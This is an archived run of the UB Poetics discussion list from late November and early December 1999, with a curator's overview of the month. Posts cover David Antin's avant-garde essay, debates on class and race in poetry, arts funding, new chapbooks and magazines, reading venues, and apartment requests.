> *(Persons with names like Ashley, Sunshine,Sequoia or Sierra will not be permitted to sing the blues no matter how many men they shoot in Memphis.)*
>
> *|||O|||///\\\///\\\ afrikan.net/hype ///\\\///\\\|||O|||*

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463. **Nielsen, Aldon**
Re: Recent David Lehman book
Tue 30 Nov 1999

> *I think that generosity is a very avant-garde thing and doesn't get enough credit.*

which puts me in mind of the closing section of Antin's "What It Means To Be Avant Garde" (with apologies to David for typing over his typography):

nothing within the horizon of my discourse could have prepared me for that moment with my aunt fanny who had just lost the husband she'd lived with for over forty years and was now on the telephone and it seems to be that if you cant respond to that youre not in the avant garde

[by the way -- does anybody have the book at hand? is that "seems to be" a typo for "seems to me"? I'm taking this from C. Beach's reprint in his anthology]

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464. **Lawrence Upton**
Sub Voicive Poetry - end of / start of an era
Tue 30 Nov 1999

Quite a few people on this list have read at SVP - Mike Heller, David Bromige, Anselm Hollo in the last few weeks - or visited it.

SVP has been at its Sandland St venue for so long, you might be forgiven for thinking that we own the venue...

BUT

Sub Voicive Poetry has moved to a new venue where it is hoped the readings will take place for at least one season. Maybe for the next 10 years.

There will be no more readings at 3 Cups

The venue is:

Upstairs,
Churchill's
59 Mount Pleasant
London WC1X 0AE

The first reading at the new venue will be on 7th December 1999, Alan Halsey and Gavin Selerie. 8 p.m. for 8.15 p.m.

Mount Pleasant is not that far from the old venue and easy enough to find. Anyone who needs it or may need it, please ask me for instructions on how to get there

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465. **Poetics List**
Looking for Visual artists who use text / Smith
Tue 30 Nov 1999

I was asked to forward this message to the list. Chris

--
From: Terri Smith <[redacted]>
Date: 11/23/99 2:25 PM -0600

Dear Christopher Alexander, I curate "Temporary Contemporary," a series of monthly, solo exhibits at Cheekwood Museum of Art that feature artists from or currently living in the Southeast. Some of the artists we've featured thus far are: Robert Ryman, William Eggleston, Coleman Coker, Elliott Puckette and Donald Sultan...we've also featured talented, lesser known artists from the region such as Brad Thomas, Andrew Saftel, Chris Verene and Carrie McGee. One type of exhibit I have yet to do, but am very interested in, would feature an artist from (or currently living in) the Southeast whose emphasis in their visual art is poetry/text (or the emphasis in their poetry is visual). I would also be open to installation-style work which includes visuals in conjunction with an audio or video spoken word component. Lisa Jarnot suggested this site as a place to post my inquiry. Essentially people who would be interested in being considered for our Temporary Contemporary series need to send 10-20 slides of their most recent work (if their work is installation with video or audio, I'd like a video or audio tape also) along with a resume/C.V. to my attention (Terri Smith) at Cheekwood Museum of Art, 1200 Forrest Park Dr., Nashville, TN 37205. If anyone has questions or needs more information, they can e-mail me at [redacted] FYI -- The gallery space is in one of Cheekwood's contemporary art galleries. The gallery is 90 running feet with 70 feet of useable wall space. For more information about Cheekwood's activities regarding contemporary art, people can check out our web site cheekwood.org. -- this should give

artists/writers an idea of the context in which their work would be shown if they were chosen to exhibit.

Thank you for your help with this project. If you could e-mail back to confirm you received this request, I would greatly appreciate it. Please also feel free to reply if any of this needs clarifying.

Best wishes,
Terri Smith

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466. Michael Magee
apt in Brooklyn, roomates needed
Tue 30 Nov 1999

Howdy all,

My brother, a very nice chap indeed and a wonderful painter to boot, is looking for roomates for his really nice four-bedroom apartment which is located across from the Brooklyn Museum of Art. Backchannel me at [redacted] if your interested.

-Mike.

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467. Christopher Reiner
Extra, Extra...Gov't to Subsidize Poetry (sort of)
Tue 30 Nov 1999

From a Department of Education e-list....

---------- Poetry Contest: Transportation ----------
This month Transportation Secretary Rodney Slater invited students across the U.S. to compose & submit poems related to transportation in hopes that their writings will inspire them to prepare for transportation jobs in the new millennium by studying math & science. The poetry contest is divided into categories for Grades 1-3, Grades 4-6, & Grades 7-8. The deadline is January 31, 2000. Regional & national winners for each grade category will be announced in March. Winning poems will be published in the Garrett A. Morgan Technology & Transportation Futures Program website & in the program's quarterly newsletter. Winners will be selected based on best presentation of the theme, originality, & artistic interpretation. Contest guidelines & additional information are at: http://www.dot.gov/edu/poetry/ http://www.dot.gov/affairs/dot18899.htm

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468. **Pete**
Re: community
Tue 30 Nov 1999

Brent asked, during the thread on regionalism, if anyone had any thoughts on community.

Yes, frankly, I think writing is a communal act by definition, and extended, I think writing (especially performing) poetry is more obviously communal. However, I have yet to find anything in the modern world resembling community as it seems to occur in the ancient world. I'm also thinking of present-day (not modern) communities like those studied by the anthropologists. The sense of alienation I experience is precisely the lack of community. It's pretty damned ironic that we gregarious animals become more and more socially disconnected as our technology increases the speed of transportation and communication, but I guess our capability for adaptation results in some kind of tolerance for this condition, intolerable as it will eventually present itself to be.

So for me, to some extent, poetry is a social act; the act of an alien seeking community, even if only the mythical community of Elysium.

Pete

↑ Index

469. **Simon DeDeo**
Class & Poet[ry/ics]
Tue 30 Nov 1999

Trying to keep up with the list recently, but falling behind every now and again. I'll try to keep this as noninflammatory as possible.

The question of class in poetry -- whether it be from the outside (people questioning the class origins of various poets or poetic movements) or the inside (poets wondering about their own authenticity w/r/t class) -- is, more often that not, a question designed to avoid the much more problematic issue of race.

Indeed, in the wider world, nobody really *cares* about a writer's class in isolation from his race. When was the last time Byron was attacked for being from the lesire/upper/aristocratic class? Much, much longer ago than he was for being white. Similarly, the "lower class authenticity" carries little weight when the author is white, as can be checked by looking over the class backgrounds of some of the canonized. Not that this is a bad thing, in my opinion.

I don't want to touch the issue of race more than to point out that the debate here seems to be interesting in as much as it is about things internal to a writer's poetics. Sociologically, politically, the examination of class in poetry is a blind for (mainly white) critics who want to distract attention from the issue of race. But when we ask about a writer's relation to class -- his/her own, or another's -- *in poetry*, aesthetically, we start asking very interesting and *neat* questions that for me circle around (who else but) Marx and, in particular, the idea of alienation.

-- Simon

[redacted]
http://www.fas.harvard.edu/~sdedeo

↑ Index

470. Elizabeth Treadwell
new chapbooks by women
Tue 30 Nov 1999

Sarah Anne Cox and I are looking for the LATEST chapbooks by women to write about in HOW2 for spring. Need em quick, deadline looming.

Thank you.

Elizabeth Treadwell

PO Box 9013
Berkeley, CA 94709

http://users.lanminds.com/dblelucy

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

December 1999

336 messages · Tue 30 Nov 1999 – Fri 31 Dec 1999

December 1999 — the last month of the thousand years, if you counted that way — opened in tear gas and closed on New Year's Eve, and the Poetics list met the millennium with a shrug and the street with real attention. Of the calendar's supposed terrors it made a joke, Y2K surviving on the list mostly as sign-offs like Joe Amato's *"happy y2k!..."*. But Seattle it took seriously: as the WTO talks collapsed under a police riot, David Bromige forwarded eyewitness feeds and the room argued it hard, Patrick Herron flatly declaring *"Amerika is a police state"*, the Poetry Project countering on the ethics of the boycott. Meanwhile Yeltsin resigned, Grozny burned, and the list said not one word — its ledger was never the world's.

The month's largest thread was not a prophecy but an inventory. Arielle Greenberg asked what everyone was reading at the flip of the nines, and the list answered with its bedside stacks — Guest and Borges and Celan and Tender Buttons, champagne, noisemakers for everyone — a roll-call not of what the next century would bring but of what this one had left on the night table. Greenberg signed off toward the rollover with the season's truest two words, *"see you in the meltdown"*, and the century's end became, on the Poetics list, a list.

The one argument that broke clean through the moderator was, fittingly for this room, about who is allowed to speak in it. A long, tangled cluster of threads on class, race, and whiteness ran all month, careful and genuine, until a lurker's patience snapped: Katie Degentesh erupted that *"ALL ANYONE EVER TALKS ABOUT IS CLASS"*, demanding to know whether the list was made of writers or activists. Dodie Bellamy answered evenly, *"This is rather dismissive, don't you think?"*, and the two fell to trading mock salutations. It was the month's most sustained discussion and, in the same breath, a fight over whether that discussion should be happening at all — the moderated list's deepest reflex, to argue about its own terms.

Alongside it ran the list's perennial undertow of commerce and craft: a wry thread on how bookstores shelve poetry by race and sexuality because it helps the books sell, a scheme to print online work between covers, and — when that scheme grew too American — komninos zervos's tart reminder, *"thoght this was an international list?"*, typo and all. The century was ending; the shop talk went on regardless.

And then, ten days before the year and the century ran out, Edward Dorn died. The list that could no longer simply talk did the one thing its machinery could not forbid: it stopped, and grieved. Tom Beckett remembered a man of *“ferocious intelligence and great wit”*; and the moderator himself, who admitted he had not known Dorn, set the rules aside to post the elegy called Mourning Letter into a gatekept room. I have set that elegy at the very end of the archive’s century exactly as December left it, because it is how this room — tamed, gatekept, and nearly silent — chose to see out a thousand years: not with a prophecy, but by making room, one last time, for the dead.

— Kristen M. Fabians

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1. Jerrold Shiroma

Re: David Antin typo

Tue 30 Nov 1999

---

it is a typo...should be "it seems to me"
-----Original Message-----
From: Nielsen, Aldon <[redacted]>
To: [redacted]
<[redacted]>
Date: Tuesday, November 30, 1999 8:09 PM
Subject: Re: Recent David Lehman book

>>
>>I think that generosity is a very avant-garde thing and doesn't get enough
>>credit.
>>
>
>which puts me in mind of the closing section of Antin's "What It Means To
>Be Avant Garde" (with apologies to David for typing over his typography):
>
>nothing within the horizon of my discourse could have prepared me for that
>moment with my aunt fanny who had just lost the husband she'd lived with
>for over forty years and was now on the telephone and it seems to be
>that if you cant respond to that youre not in the avant garde
>
>
>
>[by the way -- does anybody have the book at hand? is that "seems to be" a
>typo for "seems to me"? I'm taking this from C. Beach's reprint in his
>anthology]
>

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2. Carol L. Hamshaw

Re: government funding in the arts

Tue 30 Nov 1999

---

well for the two orgs i work for funding has gone up. but then again we don't bother with the NEA.

George Bowering wrote:

> *It doesnt say so anywhere, but I am guessing that the following is an enquiry regarding matters in the USA.*
>
> *hello all--*
>
> *i'm trying to get a concrete sense of what is happening to government funding in the arts. that is to say, everyone speaks of the "trend" in arts, the cutbacks in the nea budget, etc.--but what are smaller, non-prof organizations feeling both by the nea and by state arts orgs in numbers? anybody out there head an arts org and have specific examples of slashes, i.e. how much of a decrease in funding they have received over the past 10 years or whatever?*
>
> *particularly, i'm interested in examples of organizations/people who have had some dealings with the california arts council--or other state arts councils whose behavior might be akin to the cac (maybe new york?)*
>
> *or, if you know something about the type of people who sit on the state/federal arts panels and where to get more info about this, please do tell.*
>
> *please backchannel with info, thanks.*
>
> *summi*
>
> *George Bowering.*
>
> *,*
>
> *fax:* [redacted]

--
Carol L. Hamshaw
Administrator
Edgewise ElectroLit Centre
http://www.edgewisecafe.org

↑ Index

3. Alan Sondheim

Tale

Wed 1 Dec 1999

\

Tale

Two [shinto] priests were walking down a steep hill; they met a [budd- hist] monk walking up. "Where are you going?" one of the priests asked. "It is near the end of the world," said the monk, "and I am going to the top of the hill to observe." "Don't you know," said one of the priests, "it is the same everywhere?" "But not to the hill," answered the monk. When I was telling this story, the rabbi [jewish] asked, "But why were there two priests?" "Because, I answered, one of them might have for- gotten the script." The rabbi answered, "But the world is the script." And I replied, "If the world is the script, it is the hill which is writing and the priests who are reading." The rabbi said, "But it is the monk who guides the pen." A [protestant] minister, happening by, gave his ear to the tale. He said, "The hill has given the pen to the tale." I answered, "But it is christ himself who has given the hill, who has as- cended the hill as the holy mount, to preach to one and all." The monk said, "By what authority do you speak? For you seem to be jewish by cul- ture, if not religion, and hardly catholic, to speak of the christ." I answered, "It is my belief that christ is within all of us, that we are all our sons." The monk said, "Thus we repeatedly give birth to ourselves over and over again, generation upon generation," to which one of the priests replied, "Yes, but it is the latter that speaks to the former, since the latter carries the wisdom of the former." The minister said, "It is upon such that the gospel was written." I answered, "It is upon such that everything is written, from the beginning to the end of the word." The rabbi answered, "Thus is the word made world," and the monk said, "And thus the catholic, the word made flesh. For what is the flesh of the word?" One of the priests said, "To be cleansed and purified, for the circumspection of the living." I added, "Thus for the circumspection of the dead," and the monk replied, "From here through- out our ministra- tions." The rabbi said, "For who is to be believed, properly speaking, but the holy script itself?" A nearby jainist answered, "In relation to the fecundity of the earth, to which we should give as little pain as possible." The monk replied, "What is universal has no recourse among the individual." The rabbi agreed, saying, "And who is among the enlight- ened?" I replied, "Those who know the value of this, not that - and that, not this." "Exactly," cried the monk. The minister, perplexed, ended the session by stating that suffering and enlightenment are both in the hands of god, to whom we give thanks. The priests nodded in assent.

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4. L. MacMahon and T.R. Healy

Re: new chapbooks by women

Wed 1 Dec 1999

Hi Elizabeth,

just out _Holding Patterns_ from Susan Schultz. I'll put one in the post today, but it'll be from Ireland so it could take a week to get to you. Hope it won't be past the deadline.

best

Randolph Healy
Wild Honey Press

Visit the Sound Eye website at:
http://indigo.ie/~tjac/sound_eye_hme.htm
or find more Irish writing at:
http://www.nd.edu/~ndr/issues/ndr7/contents.html

> From: Elizabeth Treadwell <[redacted]>
> To: [redacted]
> Subject: new chapbooks by women
> Date: 01 December 1999 03:32
>
> Sarah Anne Cox and I are looking for the LATEST chapbooks by women to write
> about in HOW2 for spring. Need em quick, deadline looming.
>
> Thank you.
>
> Elizabeth Treadwell
>
> PO Box 9013
> Berkeley, CA 94709
>
> http://users.lanminds.com/dblelucy
>

↑ Index

5. Kathy Lou Schultz

Re: Class & Poet[ry/ics]

Wed 1 Dec 1999

I disagree with your assessment that class obfuscates race. In fact, I think the opposite is true: in discussions about race and literature, writers often pretend that if they're "covering" race, that class is somehow just "included" even when a class analysis is not developed.
I do, however, very much agree with the following:
"But when we ask about a writer's relation to class -- his/her own, or another's -- *in poetry*, aesthetically, we start asking very interesting and *neat* questions that for me circle around (who else but) Marx and, in particular, the idea of alienation."
Thanks,
Kathy Lou
^^

Kathy Lou Schultz
Editor & Publisher
Lipstick Eleven/Duck Press
www.duckpress.org

42 Clayton Street San Francisco, CA 94117-1110

>From: Simon DeDeo <[redacted]>
>To: [redacted]
>Subject: Class & Poet[ry/ics]
>Date: Tue, Nov 30, 1999, 5:08 PM
>

> *Trying to keep up with the list recently, but falling behind every now and again. I'll try to keep this as noninflammatory as possible.*
>
> *The question of class in poetry -- whether it be from the outside (people questioning the class origins of various poets or poetic movements) or the inside (poets wondering about their own authenticity w/r/t class) -- is, more often that not, a question designed to avoid the much more problematic issue of race.*
>
> *Indeed, in the wider world, nobody really *cares* about a writer's class in isolation from his race. When was the last time Byron was attacked for being from the lesire/upper/aristocratic class? Much, much longer ago than he was for being white. Similarly, the "lower class authenticity" carries little weight when the author is white, as can be checked by looking over the class backgrounds of some of the canonized. Not that this is a bad thing, in my opinion.*

> *I don't want to touch the issue of race more than to point out that the debate here seems to be interesting in as much as it is about things internal to a writer's poetics. Sociologically, politically, the examination of class in poetry is a blind for (mainly white) critics who want to distract attention from the issue of race. But when we ask about a writer's relation to class -- his/her own, or another's -- *in poetry*, aesthetically, we start asking very interesting and *neat* questions that for me circle around (who else but) Marx and, in particular, the idea of alienation.*
>
> *-- Simon*
>
> [redacted]
> *http://www.fas.harvard.edu/~sdedeo*

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6. Pierre Joris
Re: Recent David Lehman book
Wed 1 Dec 1999

Aldon wrote:
>
> nothing within the horizon of my discourse could have
> prepared me for that
> moment with my aunt fanny who had just lost the husband
> she'd lived with
> for over forty years and was now on the telephone and
> it seems to be
> that if you cant respond to that youre not in the avant garde
>
>
>
> [by the way -- does anybody have the book at hand? is that
> "seems to be" a
> typo for "seems to me"? I'm taking this from C. Beach's
> reprint in his
> anthology]

Yeap, Aldon -- just checked the New Direction text (which I happen to be teaching today!) & it is indeed "seems to me".

Pierre

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7. Herbert Meckendover
Sal Mimeo
Wed 1 Dec 1999

Issue number zero of Larry Fagin's new magazine, Sal Mimeo, has just appeared. Featured is new work by Fran Carlen, Clark Coolidge, Merrill Gilfillan, Steve Malmude, Ange Mlinko, Charles North, David Perry, Anne Porter, George Stanley and Jacqueline Waters.

Distribution is limited. Issue zero is available at $5, and subscriptions for the next three issues are $15.

Write: L. Fagin, 437 E. 12th Street, Apt. 18, New York, NY 10009.

_____
Get Your Private, Free Email at http://www.hotmail.com

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8. Michael Magee
NY rent - false alarm
Wed 1 Dec 1999

Hi all,

I'm writing because, amazingly, my brother found 3 roomates in a matter of minutes for his new place. NY renting - pure insanity! Sorry to have gotten peoples hopes up. Happy hunting.

-Mike.

↑ Index

9. Maria Damon
Re: Class & Poet[ry/ics]
Wed 1 Dec 1999

At 8:08 PM -0500 11/30/99, Simon DeDeo wrote:

...When was the last time Byron was attacked for
>being from the lesire/upper/aristocratic class? Much, much longer ago than
>he was for being white. Similarly, the "lower class authenticity" carries
>little weight when the author is white, as can be checked by looking over
>the class backgrounds of some of the canonized. Not that this is a bad
>thing, in my opinion.

hunh? this is really weird. Mumia is about to be executed, and you're talking about Byron being attacked for being white?

↑ Index

10. Maria Damon
Re: Recent David Lehman book
Wed 1 Dec 1999

At 12:39 PM -0800 11/30/99, Nielsen, Aldon wrote:
>>
>>I think that generosity is a very avant-garde thing and doesn't get enough
>>credit.
>>
>
>which puts me in mind of the closing section of Antin's "What It Means To
>Be Avant Garde" (with apologies to David for typing over his typography):
>
>nothing within the horizon of my discourse could have prepared me for that
>moment with my aunt fanny who had just lost the husband she'd lived with
>for over forty years and was now on the telephone and it seems to be
>that if you cant respond to that youre not in the avant garde
>
>
>
>[by the way -- does anybody have the book at hand? is that "seems to be" a
>typo for "seems to me"? I'm taking this from C. Beach's reprint in his
>anthology]

2 comments on that lovable nut david antin: 1) anyone notice how every talk ends up being, or being framed by, a tale of trauma inflicted on a female relative, which he can and does interpret? (yours truly addresses this phenomenon in a piece on antin, "Talking Yiddish at the Boundaries," _Cultural Studies_ 5:1) 2) i'd like him to write a sequel, "how it feels to be avant-garde me," which may be what the other title is a screen for.

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11. Daniel Kane
Bob Holman on WriteNet
Wed 1 Dec 1999

This month on WriteNet <www.writenet.org>, Bob Holman talks about rap and its relationship to poetry, among other topics. To view the page, go to

http://www.writenet.org/poetschat/poetschat_bholman.html

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12. MAYHEW
class way of not talking about race, etc...
Wed 1 Dec 1999

I don't think class is necessarily only a screen for not talking about race, except in the sense that white male Marxists I have seen at academic conferences bring in class when the conversation shifts to gender and race, just as white middle class feminists bring in gender when the topic shifts to class and race, while others bring in race when the topic is class and gender. Its a game of one-downsmanship, in which leverage is exerted by those speaking from the position of least (apparent) privilege. It's like the game where you talk your hand from below a pile of other people's hands as fast as you can, and soon your hand is at the bottom again. I wouldn't question the legitimacy of anyone's concerns. But I would question the usefulness of this particular game. You can talk about race without questioning sincerity of someone else's desire to talk about something else.

Of course, the next move in the game is to say that Jonathan, having no stake in this game in the first place, does not understand its urgency and importance...

Jonathan Mayhew
[redacted]

_____

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13. Daniel Kane
hoa nguyen exercise
Wed 1 Dec 1999

Another wonderful writing exercise from hoa nguyen -- you can access it at

http://www.writenet.org/virtualpoetrywrkshp.html

Hit the "Exercise 15" link -- this page links to a Bernadette Mayer page that's ever so good.

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14. Al Filreis
Miriam Koshland?
Wed 1 Dec 1999

Friends:

Does anyone know the whereabouts of Miriam Koshland? I don't know much about her, except that in the mid-1950s she was trying to get _Poetry_ and other magazines interested in African verse. I also know that at that time she was living in San Francisco.

If you have any information to share about Koshland, please write me directly at [redacted].

--Al

Al Filreis
The Class of 1942 Professor of English
Faculty Director, the Kelly Writers House
University of Pennsylvania

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15. peter neufeld
Moving
Wed 1 Dec 1999

I'm moving to New York the last week of January. While I have employment, I would appreciate any lines on aparments anyone on the list might have and be willing to provide via backchannel. Thanks.

Peter Neufeld

_____
Do You Yahoo!?
Thousands of Stores. Millions of Products. All in one place.
Yahoo! Shopping: http://shopping.yahoo.com

↑ Index

16. Jill Stengel
class and
Wed 1 Dec 1999

---

hi all, i've been unable to keep up w/the list discussions for the past few weeks, so i just read through about a billion posts, and am happy to see the class thread and relateds have been going for a while. i have a few posts i wish to comment on, and hopefully i'll be able to keep up w/this a little more frequently than i've been able to of late. so, as i'm going over a lot of time here, i'll try to make this clear...

in my post dated 11/10, i said, "the experience of class is different for women and men, as women also have to contend with sexism, men do not. (and then, of

course, there are many other isms that can show up too...) multiple -isms seem to have a geometric rather than simply additive effect."

on 11/12, dodie responded to my post with, "I've been keeping out of this class discussion, but I think saying that implying that women have it worse than men on the class-prejudice scale is an unnecessary essentialism--and it is contrary to my experience. As much as I bitch and moan about class prejudice, I've always felt that working class guys had a harder time assimilating into the middle class poetry world I've known."

i'm not sure exactly how to respond to this, but i do think it's important to respond to, and it's been on my mind for weeks now, so here's a response, here's something: i'm not sure that it's harder, easier, better, worse, or exactly what for women and men in the poetry world, or any other "world" of our world(s)...i do believe that it is __different__ for women and men...and i can imagine sometimes those differences add up to easier/harder/whatever-er, depending on where one is standing at that moment. sometimes i do think it's "easier" being a woman in some ways, and then i walk down a street at night and reconsider. sometimes i think men have it easier, and then i remember that men are supposed to be these bastions of "strength," non-emotion and all that socialized crap, so then i think men have a pretty raw deal. (a billion or more addt'l examples of "easier" "harder" etc. come to mind, but i think i've made myself clear.)

so, i don't have an answer to whether it's easier or harder for who or what and why. it's just different, it just is, and gender __is__ an important element...just as race, sexual orientation, ability/disability, rural/urban/regional/access issues, etc... all of these elements and more are involved in experiences of and interpretations of "class." they overlap, multiply, and, of course divide. it's just not clean-cut. it's not simple math. and that was what i was trying to say there, dodie, and all.

so i've been reading through the posts, knowing i'd respond to dodie, and wondering if there was anything else that i'd wish to respond to, tho i'd rather be a lurker as it takes a lot of effort and time to be involved and i often don't have a lot of time or extra effort available as i'm doing quite all i can manage already but that's a sidetrack...so then i saw jonathan mahew's post of 11/24 listing his ideas of which poets represent what classes, and this reminds me why gender and race and etc and all the not-tidy categories have to be brought up again along with the already not-tidy "class." (to clarify--this is not an attack, jonathan, just a statement of fact, no sarcasm oozing from the screen...)

so it's messy, this "class" idea, and all that is wrapped with it.

simon dedeo, i don't think i can agree with your assertion from your post of 11/30 that "The question of class in poetry ... is, more often that not, a question designed to avoid the much more problematic issue of race." --i think __all__ of

these issues (race, class, gender, sexual orientation, ability/disability, rural/urban/regional/access issues, etc.) (and there are more) are problematic, and i think we each have our own particular areas we find the most difficult to deal with. or ignore. or whatever it is we choose to do. or not do. with these difficulties.

and now i have to "work"--tho i earn no money for what i have to go do, so is it "work"? (yes it is.)

thanks for reading,
jill stengel

ps--almost forgot: david baratier wrote, 11/15, "Jill, if you check back through my posts, I did not state that lack of access to opportunities does not occur, I made pains to maintain my writing in "I" based statements, when mass assumptions were made & I knew they did not fit me, I went outside of these confines to include some other individual writers. Never was there a "we" intended. I did not address women & class, which is not an oversight, I do not have personal experience and assume others here would address the subject." thanks for clarifying, david, i appreciate it. yes you did make "i" statements, and, as i didn't see you acknowledging other possibilities of experience, i assumed you weren't allowing for this. now i see you were just trying to be clear, and to speak from your own perspective. thank you for telling me your intentions. in an oral conversation this would have been quick to clear up, in this kind of a conversation it's harder, takes longer.

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17. derek beaulieu

housepress announces "COURIER: an anthology of concrete and visual poetry."

Wed 1 Dec 1999

---

housepress is pleased to announce the release of

COURIER: an anthology of concrete and visual poetry.
- printed as a linocut printed box containing ephemal objects by over 50 international poets:

Aguiar, Armstrong, Balan, Baker, Ball, Barwin, Basinski, Beining, Bennett, Bertola, bissett, Books, Bradley, Brannen, Bulatov, Cain, Caruso, curry, de araujo, Dutton, Drucker, Elfassy, Fledderus, fyffe, Gorman, Grumman, Hennessy, Hill, Jaeger, J(o(h)n)ston, Kacian, Kang, Kempton, Lefler, levy, lopes, McCaffery, Morin, Morton, mulder, Nichol, Panhuyzen, Peters, Poem by Nari, Scobie, Seagram, Selby, snow, tj & derek beaulieu, Spence, Sutherland, Swede,

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- produced in an edition of 115 numbered copies, of which only 55 are for sale. - available for $60 (postage included, please note to make any payment out to "derek beaulieu) from:

please e-mail

derek beaulieu
(housepress)
1339 19th ave nw
calgary alberta
canada t2m 1a5
[redacted]

for more information.

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18. Summi Kaipa

Re: government funding in the arts

Wed 1 Dec 1999

---

sorry if i offended anyone by being "usa-centric" but i thought that the message indicated my interest in california and new york arts organizations.

& sorry for any confusion.

thanks
summi

At 03:19 PM 11/29/99 -0800, you wrote:
>It doesnt say so anywhere, but I am guessing that the following is an
>enquiry regarding matters in the USA.
>
>
> >hello all--
> >
> >i'm trying to get a concrete sense of what is happening to government
> >funding in the arts. that is to say, everyone speaks of the "trend" in
> >arts, the cutbacks in the nea budget, etc.--but what are smaller, non-prof
> >organizations feeling both by the nea and by state arts orgs in
> >numbers? anybody out there head an arts org and have specific examples of
> >slashes, i.e. how much of a decrease in funding they have received over the
> >past 10 years or whatever?

> >
> >particularly, i'm interested in examples of organizations/people who have
> >had some dealings with the california arts council--or other state arts
> >councils whose behavior might be akin to the cac (maybe new york?)
> >
> >or, if you know something about the type of people who sit on the
> >state/federal arts panels and where to get more info about this, please do
> >tell.
> >
> >please backchannel with info, thanks.
> >
> >summi
>
>
>
>
>
>George Bowering.
> ,
>
>
>fax: [redacted]

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19. Jorge Guitart

What class are you?

Wed 1 Dec 1999

Don't forget your Soc 101. You have to consider four things:

Assets
Income
Power
Prestige

What about culture? Are you talking Culture (would you rather go to the philharmonic or the hockey game?) or culture (world-view, beliefs, behavioral preferences, etc.) Culture is part of prestige and culture is a byproduct of the combinatoin of assets, income, power, and prestige. Your position in society is a product of your upbringing and education, which in turn depends on your, and, earlier, your parents' assets, income, power, and prestige. ---- Who pays for poetry? Whose poetry? Some bourgeois people dish out $25 for Seamus Heaney while our chapbooks languish in the store.

Jorge Guitart

On Mon, 29 Nov 1999, MAYHEW wrote:

> *Murat wrote:*
>
> *" Jonathan appears to say that class essentially is equivalent to culture in the United States. This is so if class expresses itself in writing only in terms of the class origin of the writer? Then, it is true, as Jonathan notes, a contradiction develops when a person moves up the economic scale, which is quite possible in the States. But what about class, reflected in terms of who supports or pays for the written product? Then, Jonathans financial sacrifice as a graduate student is a temporary state, as an interns on the way to becoming a doctor."*
>
> *Good point. I don't think class is only equivalent to level of culture, but it clearly is not equivalent to the amount of money one has at a given moment either. I see is more as an underlying ethos defining preferences in large number of areas, including aesthetic. And people in academia use class to mean class origin, otherwise it would not make sense to speak of class differences at all since we are all doing the same thing for a living.*
>
> *Who supports and pays for poetry? Good question that I hope will provoke lively discussion...*
>
> *Jonathan Mayhew*
> [redacted]
>
> _____

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20. Al Filreis

webcast: Silliman Osman Perelman Stefans

Wed 1 Dec 1999

The program described below will be webcast. If you can't get to the Writers House in Philadelphia and would like to participate via webcast, please write to me - [redacted] - and I will send you follow-up information. The webcast begins at 7:30 PM eastern time next Tuesday, December 7.

Al Filreis
University of Pennsylvania

+ + +

informal symposium on contemporary avant-garde poetry

Ron Silliman
Jena Osman
Bob Perelman
Brian Kim Stefans

hosted and moderated by Al Filreis with Shawn Walker

- -

Tuesday, December 7
7:30 PM
live from the Kelly Writers House, 3805 Locust Walk

To participate via webcast you will need to know
how to connect. Write to [redacted]
to reserve a "space" and receive further information.

JENA OSMAN's book, THE CHARACTER, published by Beacon (1999), is the winner of the 1998 Barnard New Woman Poets Prize. "Her writing is the way the mind works," wrote Leslie Scalapino of this book. Jena's publications include JURY (Meow Press, 1996), Amblyopia (Avenue B, 1993) and poems appearing in Abacus, Avec, Big Allis, Conjunctions, O-blek, Subliminal Time and elsewhere. With Juliana Spahr, Jena is the editor of the influential magazine Chain. She has read at the Writers House for PhillyTalks and on "Live at the Writers House." She is assistant professor of English at Temple University.

BOB PERELMAN recently published THE FUTURE OF MEMORY, a new book of verse, and his selected poems, TEN TO ONE. For many years Bob lived in San Francisco where he edited Hills magazine and was central to the development of the language poetry movement. From 1977 to 1981 he coordinated the San Francisco Talks Series and edited Writing/Talks (1985) gathered from the series. His books of poetry include Braille (Ithaca House, 1975), Face Value (Roof Books, 1988), and Virtual Reality (Roof Books, 1993). He is also the author of two books of theory and criticism, The Trouble with Genius (University of California, 1994), and The Marginalization of Poetry (Princeton, 1996). Now of course he lives in Philadelphia, where he is an Associate Professor of English at Penn. Bob is a member of the Writers House "hub" or planning committee.

BRIAN KIM STEFANS is the author of Free Space Comix (Roof, 1998) and the forthcoming Angry Penguins (Object). His collaboration with Sianne Ngai, "The Cosmopolitans," was featured as the second issue of the zine Interlope published out of Iowa City. His works have also appeared in many magazines, including the web journals Ubu and Yellow Jacket, under a pseudonym. Brian published three issues of the journal Arras before taking it to the web in 1998. His critical writings have been published in Korean Culture and The Poetry Project Newsletter, and a long essay on alternative Asian American poetry now

appears in Talisman. Brian participated in a PhillyTalks program at the Writers House last year.

Among RON SILLIMAN's many important writings are Ketjak (This, 1978); Tjanting (The Figures, 1981); "The New Sentence" (Roof, New York, NY, 1987); the anthology "In the American Tree" (1986); Leningrad, a collaboration with Michael Davidson, Lyn Hejinian, and Barrett Watten (1991); Demo to Ink (Chax, 1992); Toner (Potes & Poets, 1992); N/O (Roof, 1994) and recently "(R)" (Drogue). The earliest published poems Ron doesn't mind listing appeared in issue number 1 of _Community Libertarian_ on May Day, 1965; and "One, Two, Three Hands Clapping" in the first issue of Avalanche (Berkeley) in 1966. Long a resident of San Francisco, Ron now resides near Valley Forge, PA, a point from which he make regular trips to the Kelly Writers House where he has led and joined PhillyTalks, read "Albany" on "Live at the Writers House" (available here: www.english. upenn.edu/~afilreis/88v/silliman.html) and supported many emerging writers.

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21. Jorge Guitart

Re: Class and Money

Wed 1 Dec 1999

Suppose Maria Zavialov was not working class.So what. You don't have to be working class to talk about the working class. You don't have to labor a bit or a lot to know about the working class.
So they were told a lot about the working class, maybe too much, maybe to the point where it was very hard to believe in what they were told about the working class. A certain repugnance probably set in.

Any working class person who has time to be on this list, I am glad for you.

Jorge

On Mon, 29 Nov 1999, pete spence wrote:

> *The same day, Pete Spence responds to Maria Zavialov:*
> *"Suddenly I remembered that I should know about working class a lot.*
> *I was thoroughly drilled in marxism and leninism all through many years of*
> *school and university back in the 70s in the Soviet Union." M.Z.*
>
> *i'd thought maybe doing a bit o' labour because it was your only option*
> *would be a better sampler than being drilled by theory//pete spence*"

> *Does Pete have a special knowledge that Maria belongs to the idle reach?*
> *Or is it implicit in his comment that labor is only labor ("authentic") if it*
> *is working class? Is this an example of the "sentimental working-class poetics?"*
>
> *Murat Nemet-Nejat*
>
> *maybe maria could have worded it better ,still think i probably seen closer views of working class than a lot, my father a socialist was under the threat of the "crimes act' here for years and i remember him being interviewed on t.v. knowing he would probably be arrested when he left the studio could go on but!!! sentiment/sediment/saidund meant//pete spence*
>
> _____
